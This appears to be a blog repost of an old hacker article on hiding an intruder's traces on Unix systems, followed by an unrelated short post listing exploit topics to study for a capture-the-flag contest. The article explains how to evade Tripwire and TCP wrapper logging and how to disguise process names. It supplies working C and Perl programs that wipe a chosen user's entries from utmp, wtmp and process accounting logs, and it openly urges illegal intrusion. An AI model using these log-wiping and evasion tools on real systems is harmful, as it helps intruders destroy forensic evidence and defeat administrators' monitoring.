Known facilities and levels recognized by syslogd are those listed in syslog(3) without the leading “LOG_”. The additional facility “mark” has a message at priority LOG_INFO sent to it every 20 minutes (this may be changed with the -m flag). The “mark” facility is not enabled by a facility field containing an asterisk. The level “none” may be used to disable a particular facility. For example,

*.debug;mail.none

Sends all messages except mail messages to the selected file.

The second part of each line describes where the message is to be logged if this line is selected. There are four forms:

A filename (beginning with a leading slash). The file will be opened in append mode.
A hostname preceded by an at sign (“@”). Selected messages are forwarded to the syslogd on the named host.
A comma separated list of users. Selected messages are written to those users if they are logged in.
An asterisk. Selected messages are written to all logged-in users.
For example, the configuration file:

kern,mark.debug /dev/console
*.notice;mail.info /usr/spool/adm/syslog
*.crit /usr/adm/critical
kern.err @phantom.com
*.emerg *
*.alert erikb,netw1z
*.alert;auth.warning ralph

logs all kernel messages and 20 minute marks onto the system console, all notice (or higher) level messages and all mail system messages except debug messages into the file /usr/spool/adm/syslog, and all critical messages into /usr/adm/critical; kernel messages of error severity or higher are forwarded to ucbarpa. All users will be informed of any emergency messages, the users “erikb” and “netw1z” will be informed of any alert messages, or any warning message (or higher) from the authorization system.

Syslogd creates the file /etc/syslog.pid, if possible, containing a single line with its process id; this is used to kill or reconfigure syslogd.

# System login records

There are there basic areas (files) in which system login information is stored. These areas are:

/usr/etc/wtmp
/usr/etc/lastlog
/etc/utmp

The utmp file records information about who is currently using the system. The file is a sequence of entries with the following structure declared in the include file (/usr/include/utmp.h):

struct utmp {
char ut_line[8]; /* tty name */
char ut_name[8]; /* user id */
char ut_host[16]; /* host name, if remote */
long ut_time; /* time on */
};

This structure gives the name of the special file associated with the user’s terminal, the user’s login name, and the time of the login in the form of time(3C). This will vary from platform to platform. Since Sun Microsystems ships SunOs with a world writable /etc/utmp, you can easily take yourself out of any who listing.

The wtmp file records all logins and logouts. A null username indicates a logout on the associated terminal. Furthermore, the terminal name `~’ indicates that the system was rebooted at the indicated time; the adjacent pair of entries with terminal names `|’ and `{’ indicate the system maintained time just before and just after a date command has changed the system’s idea of the time.

Wtmp is maintained by login(1) and init(Cool. Neither of these programs creates the file, so if it is removed or renamed record-keeping is turned off. Wtmp is used in conjunction with the /usr/ucb/last command.

/usr/adm/lastlog is used by login(1) for storing previous login dates, times, and connection locations. The structure for lastlog is as follows:

struct lastlog {
time_t ll_time;
char ll_line[8];
char ll_host[16];
};
The structure for lastlog is quite simple. One entry per UID, and it is stored in UID order.

Creating a lastlog and wtmp editor is quite simple. Example programs are appended at the end of this file.

# System process accounting

Usually, the more security-conscience systems will have process accounting turned on which allows the system to log every process that is spawned. /usr/adm/acct or /usr/adm/pacct are the usual logfiles that store the accounting data. These files can grow quite large as you can imagine, and are sometimes shrunk by other system applications and saved in a compressed format as /usr/adm/savacct or something similar.

Usually, if the accounting file is there with a 0 byte length then you can rest assured that they are not keeping process accounting records. If they are however, there are really only two methods of hiding yourself from this form of accounting. One, you can suspend or stop process accounting ( which is usually done with the “accton” command) or you can edit the existing process logfile and “wipe” your incriminating records.

Here is the common structure for the process accounting file:

struct acct
{
char ac_comm[10]; /* Accounting command name */
comp_t ac_utime; /* Accounting user time */
comp_t ac_stime; /* Accounting system time */
comp_t ac_etime; /* Accounting elapsed time */
time_t ac_btime; /* Beginning time */
uid_t ac_uid; /* Accounting user ID */
gid_t ac_gid; /* Accounting group ID */
short ac_mem; /* average memory usage */
comp_t ac_io; /* number of disk IO blocks */
dev_t ac_tty; /* control typewriter */
char ac_flag; /* Accounting flag */
};

It is extremely tricky to remove all of your account records since if you do use a program to remove them, the program that you run to wipe the records will still have a process that will be appended to the logfile after it has completed.

An example program for removing process accounting records is included at the end of this article.

Most sysadmins don’t pay real attention to the process logs, since they do tend to be rather large and grow fast. However, if they notice that a break-in has occurred, this is one of the primary places they will look for further evidence.

On the other hand, for normal system monitoring, you should be more worried about your “active” processes that might show up in a process table listing (such as ps or top).

Most platforms allow the general changing of the process name without having any kind of privileges to do so. This is done with a simple program as noted below:

#include <stdio.h>
#include <string.h>

int main(argc, argv)
int argc;
char **argv;
{
char *p;

for (p = argv[0]; *p; p++)
*p = 0;

strcpy(argv[0], “rn”);

(void) getchar (); /* to allow you to see that ps reports “rn” */
return(0);
}

Basically, this program waits for a key-stroke and then exits. But, while it’s waiting, if you were to lookup the process it would show the name as being “rn”. You’re just actually re-writing the argument list of the spawned process. This is a good method of hiding your process or program names (”crack”, “hackit”, “icmpnuker”). Its a good idea to use this method in any “rogue” programs you might not want to be discovered by a system administrator.

If you cant corrupt your process arguments, rename your program to something that at least looks normal on the system. But, if you do this, make sure that you don’t run the command as “./sh” or “./ping” .. Even this looks suspicious. Put your current path in front of your PATH environment variable and avoid this mistake.

# Tripping the wire

That little piss-ant up at Purdue thinks he has invented a masterpiece.. I’ll let his words explain what “Tripwire” is all about. Then, i’ll go over some brief flaws in tripwire and how to circumvent it.

—- Tripwire README Introduction

1.0. Background
================

With the advent of increasingly sophisticated and subtle account break-ins on Unix systems, the need for tools to aid in the detection of unauthorized modification of files becomes clear. Tripwire is a tool that aids system administrators and users in monitoring a designated set of files for any changes. Used with system files on a regular (e.g., daily) basis, Tripwire can notify system administrators of corrupted or tampered files, so damage control measures can be taken in a timely manner.

1.1. Goals of Tripwire
=======================

Tripwire is a file integrity checker, a utility that compares a designated set of files against information stored in a previously generated database. Any differences are flagged and logged, and optionally, a user is notified through mail. When run against system files on a regular basis, any changes in critical system files will be spotted — and appropriate damage control measures can be taken immediately. With Tripwire, system administrators can conclude with a high degree of certainty that a given set of files remain free of unauthorized modifications if Tripwire reports no changes.

—- End of Tripwire excerpt

Ok, so you know what tripwire does. Yup, it creates signatures for all files listed in a tripwire configuration file. So, if you were to change a file that is “tripwired”, the proper authorities would be notified and your changes could be recognized. Gee. That sounds great. But there are a couple of problems with this.

First, tripwire wasn’t made to run continuously (i.e., a change to a system binary might not be noticed for several hours, perhaps days.) This allows somewhat of a “false” security for those admins who install tripwire.

The first step in beating tripwire is to know if the system you are on is running it. This is trivial at best. The default location where tripwire installs its databases are /usr/adm/tcheck or /usr/local/adm/tcheck.

The “tcheck” directory is basically made up of the following files:

-rw——- 1 root 4867 tw.config
drwxr—– 2 root 512 databases

The file “tw.config” is the tripwire configuration file. Basically, it’s a list if files that tripwire will create signatures for. This file usually consists of all system binaries, devices, and configuration files.

The directory “databases” contains the actual tripwire signatures for every system that is configured in tw.config. The format for the database filenames are tw.db_HOSTNAME. An example signature entry might look like:

/bin/login 27 ../z/. 100755 901 1 0 0 50412 .g53Lz .g4nrh .g4nrt 0 1vOeWR/aADgc0oQB7C1cCTMd 1T2ie4.KHLgS0xG2B81TVUfQ 0 0 0 0 0 0 0

Nothing to get excited about. Basically it is a signature encrypted in one of the many forms supplied by tripwire. Hard to forge, but easy to bypass.

Tripwire takes a long time to check each file or directory listed in the configuration file. Therefore, it is possible to patch or change a system file before tripwire runs a signature check on it. How does one do this? Well, let me explain some more.

In the design of tripwire, the databases are supposed to be kept either on a secure server or a read-only filesystem. Usually, if you would want to patch a system binary 9 times out of 10 you’re going to want to have root access. Having root access to by-pass tripwire is a must. Therefore, if you can obtain this access then it is perfectly logical that you should be able to remount a filesystem as Read/Write. Once accomplished, after installing your patched binary, all you have to do is:

tripwire -update PATH_TO_PATCHED_BINARY
Then, you must also:

tripwire -update /usr/adm/tcheck/databases/tw.db_HOSTNAME
(If they are making a signature for the tripwire database itself)

You’ll still be responsible for the changed inode times on the database. But that’s the risk you’ll have to live with. Tripewire wont detect the change since you updated the database. But an admin might notice the changed times.

# Wrapping up the wrappers

Ta da. You got the access. uh-oh. What if they are running a TCP wrapper? There are three basic ways they could be running a wrapper.

They have modified /etc/inetd.conf and replaced the daemons they want to wrap with another program that records the incoming hostname and then spawns the correct daemon.
They have replaced the normal daemons (usually in /usr/etc) with a program that records the hostname then launches the correct daemon.
They have modified the actual wrappers themselves to record incoming connections.
In order to bypass or disable them, you’ll first need to know which method they are using.

First, view /etc/inetd.conf and check to see if you see something similar to:

telnet stream tcp nowait root /usr/etc/tcpd telnetd ttyXX

This is a sure sign that they are running Wietse Venema’s tcp_wrapper.

If nothing is found in /etc/inetd.conf, check /usr/etc and check for any abnormal programs such as “tcpd”, “wrapd”, and “watchcatd”. Finally, if nothing is still found, try checking the actually daemons by running “strings” on them and looking for logfiles or by using sum and comparing them to another system of the same OS that you know is not using a wrapper.

Okay, by now you know whether or not they have a wrapper installed. If so you will have to now decide what to do with the output of the wrapper. You’ll have to know where it put the information. The most common wrapper used is tcp_wrapper. Here is another README excerpt detailing where the actually output from the wraps are delivered.

—- Begin of tcp_wrapper README

3.2 - Where the logging information goes
—————————————-

The wrapper programs send their logging information to the syslog daemon (syslogd). The disposition of the wrapper logs is determined by the syslog configuration file (usually /etc/syslog.conf). Messages are written to files, to the console, or are forwarded to a @loghost.

Older syslog implementations (still found on Ultrix systems) only support priority levels ranging from 9 (debug-level messages) to 0 (alerts). All logging information of the same priority level (or more urgent) is written to the same destination. In the syslog.conf file, priority levels are specified in numerical form. For example,

8/usr/spool/mqueue/syslog
causes all messages with priority 8 (informational messages), and anything that is more urgent, to be appended to the file /usr/spool/mqueue/syslog.

Newer syslog implementations support message classes in addition to priority levels. Examples of message classes are: mail, daemon, auth and news. In the syslog.conf file, priority levels are specified with symbolic names: debug, info, notice, …, emerg. For example,

mail.debug /var/log/syslog
causes all messages of class mail with priority debug (or more urgent) to be appended to the /var/log/syslog file.

By default, the wrapper logs go to the same place as the transaction logs of the sendmail daemon. The disposition can be changed by editing the Makefile and/or the syslog.conf file. Send a `kill -HUP’ to the syslogd after changing its configuration file. Remember that syslogd, just like sendmail, insists on one or more TABs between the left-hand side and the right-hand side expressions in its configuration file.

—- End of tcp_wrapper README

Usually just editing the output and hoping the sysadmin didnt catch the the wrap will do the trick since nothing is output to the console (hopefully).

# Example programs

The following are short and sweet programs that give you the ability to edit some of the more common logfiles found on most platforms. Most of these are pretty simple to compile, although some might need minor porting and OS consideration changes in structures and configurations.

—- Begin of /etc/utmp editor:

/* This program removes utmp entries by name or number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
printf(stdout, “Usage: %s [ user ] or [ tty ]\n”, name);
exit(1);
}

main(argc,argv)
int argc;
char **argv;
{
int fd;
struct utmp utmp;
int size;
int match, tty = 0;

if (argc!=2)
usage(argv[0]);

if ( !strncmp(argv[1],”tty”,3) )
tty++;

fd = open(”/etc/utmp”,O_RDWR);
if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strcmp(utmp.ut_name, argv[1]) ) )
{
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
close(fd);
}

—- End of /etc/utmp editor
—- Begin of /usr/adm/wtmp editor:

/* This program removes wtmp entries by name or tty number */

#include <utmp.h>
#include <stdio.h>
#include <sys/file.h>
#include <sys/fcntlcom.h>

void usage(name)
char *name;
{
printf(”Usage: %s [ user | tty ]\n”, name);
exit(1);
}

void main (argc, argv)
int argc;
char *argv[];
{
struct utmp utmp;
int size, fd, lastone = 0;
int match, tty = 0, x = 0;

if (argc>3 || argc<2)
usage(argv[0]);

if (strlen(argv[1])<2) {
printf(”Error: Length of user\n”);
exit(1);
}

if (argc==3)
if (argv[2][0] == ‘l’) lastone = 1;

if (!strncmp(argv[1],”tty”,3))
tty++;

if ((fd = open(”/usr/adm/wtmp”,O_RDWR))==-1) {
printf(”Error: Open on /usr/adm/wtmp\n”);
exit(1);
}

printf(”[Searching for %s]: “, argv[1]);

if (fd >= 0)
{
size = read(fd, &utmp, sizeof(struct utmp));
while ( size == sizeof(struct utmp) )
{
if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
lastone != 1)
{
if (x==10)
printf(”\b%d”, x);
else
if (x>9 && x!=10)
printf(”\b\b%d”, x);
else
printf(”\b%d”, x);
lseek( fd, -sizeof(struct utmp), L_INCR );
bzero( &utmp, sizeof(struct utmp) );
write( fd, &utmp, sizeof(struct utmp) );
x++;
}
size = read( fd, &utmp, sizeof(struct utmp) );
}
}
if (!x)
printf(”No entries found.”);
else
printf(” entries removed.”);
printf(”\n”);
close(fd);
}

—- End of /usr/adm/wtmp editor
—- Begin of /usr/adm/lastcomm editor:

#!/perl

package LCE;

$date = ‘Sun Jul 4 20:35:36 CST 1993′;
$title = ‘LCE’;
$author = ‘Phreak Accident’;
$version = ‘0.0′;
$copyright = ‘Copyright Phreak Accident’;

#——————————————————————————
# begin getopts.pl

# Usage: &Getopts(’a:bc’); # -a takes arg. -b & -c not. Sets opt_*.

sub Getopts {
local($argumentative)=@_;
local(@args,$_,$first,$rest,$errs);
local($[)=0;

@args=split(/ */, $argumentative );
while(($_=$ARGV[0]) =~ /^-(.)(.*)/) {
($first,$rest) = ($1,$2);
$pos = index($argumentative,$first);
if($pos >= $[) {
if($args[$pos+1] eq ‘:’) {
shift(@ARGV);
if($rest eq ”) {
$rest = shift(@ARGV);
}
eval “\$opt_$first = \$rest;”;
}
else {
eval “\$opt_$first = 1″;
if($rest eq ”) {
shift(@ARGV);
}
else {
$ARGV[0] = “-$rest”;
}
}
}
else {
print STDERR “Unknown option: $first\n”;
++$errs;
if($rest ne ”) {
$ARGV[0] = “-$rest”;
}
else {
shift(@ARGV);
}
}
}
$errs == 0;
}

# end getopts.pl
#——————————————————————————

sub Initialize {

$TRUE = ‘1′; # ‘1′ = TRUE = ‘1′
$FALSE = ”; # ” = FALSE = ”

&Getopts(’a:uSurprised:’); # Parse command line options
$acct = $opt_a || $ENV{’ACCT’} || ‘/var/adm/pacct’;
$user = $opt_u || $ENV{’USER’} || `/bin/whoami` || ‘root’;
$outf = $opt_o || $ENV{’OUTF’} || ‘./.pacct’;

select(STDOUT); $|++;
close(I);
open(I,’(cd /dev; echo tty*)|’);
$ttys=<I>;
close(I);
@ttys = split(/ /,$ttys);
for $tty (@ttys) {
($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size,
$atime,$mtime,$ctime,$blksize,$blocks) = stat(”/dev/$tty”);
$TTY{”$rdev”} = “$tty”;
}
$TTY{’65535′} = ‘NoTTY’;

# Get passwd info –> id:passwd:uid:gid:name:home:shell
close (I);
# open(I,”cat /etc/passwd|”); # If you don’t run nis…
open(I,”ypcat passwd|”);
while (<I>) {
chop;
split(/:/);
$PASSWD{”$_[$[+2]“}= $_[$[];
}
$PASSWD{”0″}= ‘root’;

# Get group info –> id:passwd:gid:members
close (I);
# open(I,”cat /etc/group|”); # If you don’t run nis…
open(I,”ypcat group | “);
while (<I>) {
chop;
split(/:/);
$GROUP{”$_[$[+2]“}= $_[$[];
}
}
split(/ /,’Sun Mon Tue Wed Thu Fri Sat’);
for ($x=$[ ; $x<$#_ ; $x++) {
$DAY{"$x"} = $_[$x];
}
split(/ /,’Error Jan Feb Mar Apr MAy Jun Jul Aug Sep Oct Nov Dec’);
for ($x=$[ ; $x<$#_ ; $x++) {
$MONTH{"$x"} = $_[$x];
}

#——————————————————————————

sub LCE {
&Initialize();
open(I,”<$acct”);
close(O);
open(O,”>$outf”);
$template=’CCSSSLSSSSSSA8′;
while (read(I,$buff,32)) {
($c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3) =
unpack($template,$buff);
($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime($bt);
$mon++;
$mon = “0$mon” if ($mon < 10);
$mday = “0$mday” if ($mday < 10);
$hour = “0$hour” if ($hour < 10);
$min = “0$min” if ($min < 10);
$sec = “0$sec” if ($sec < 10);
$tt = localtime($bt);
$flags=”;
if ($c1 & 0001) { $flags .= ‘F’; }
if ($c1 & 0002) { $flags .= ‘S’; }
if ($c1 & 0004) { $flags .= ‘P’; }
if ($c1 & 0010) { $flags .= ‘C’; }
if ($c1 & 0020) { $flags .= ‘K’; }
if ($c1 & 0300) { $flags .= ‘A’; }
$c3 =~ s/\000.*$//;
print STDOUT “$c3 $flags $PASSWD{$u}/$GROUP{$g} $TTY{$d}”;
print STDOUT ” $DAY{$wday} $hour:$min:$sec”;
if ($PASSWD{$u} eq $user) {
print ” [ERASED] “;
} else {
print O pack($template,$c1,$c2,$u,$g,$d,$bt,$ut,$st,$et,$o4,$o5,$o6,$c3);
}
print “\n”;
}
close(O);
}

#——————————————————————————

&LCE();

#struct acct
# {
# char ac_flag; /* Accounting flag */
# char ac_stat; /* Exit status */
# uid_t ac_uid; /* Accounting user ID */
# gid_t ac_gid; /* Accounting group ID */
# dev_t ac_tty; /* control typewriter */
# time_t ac_btime; /* Beginning time */
# comp_t ac_utime; /* Accounting user time */
# comp_t ac_stime; /* Accounting system time */
# comp_t ac_etime; /* Accounting elapsed time */
# comp_t ac_mem; /* average memory usage */
# comp_t ac_io; /* chars transferred */
# comp_t ac_rw; /* blocks read or written */
# char ac_comm[8]; /* Accounting command name */
# };
#
# #define AFORK 0001 /* has executed fork, but no exec */
# #define ASU 0002 /* used super-user privileges */
# #define ACOMPAT 0004 /* used compatibility mode */
# #define ACORE 0010 /* dumped core */
# #define AXSIG 0020 /* killed by a signal */
# #define ACCTF 0300 /* record type: 00 = acct */

—- End of /usr/adm/lastcomm editor

# All good things must come to an end

In conclusion, you need to be smarter than the administrator. Being careless can get you busted. Clean your footprints. Watch the system. Learn new tricks. AND KEEP ON HACKING!

Watch for my next article on 50 great system patches that will keep your access just the way it is .. illegal. Yaawhoo.

Tags: ,

Going to HITB CtF Hacking game …

Posted in /home/research on August 22nd, 2007 by Rick Zhong

I am preparing for this year’s HITB (KL, Malaysia) CtF game these few weeks. My previous participation was in year 2004 and we managed to get 2nd place, but the 2004 game was boring and everything was patched up and we were definitely not up to the skill level of finding 0days and writing the exploits within 2 days.

Now is the time to revise all the exploits writing skills : (not much time left so I hope to at least cover the following topics)

    • Standard Buffer Overflow in Linux

      - executable stack with no randomized address
      - return-to-lib
      - payload in env

        • Format String Vulnerability in Linux
        • Buffer overflow in Windows
        • Heap overflow in Windows
        • Advanced Linux Buffer overflow techniqus such as RET2RET (if time allows)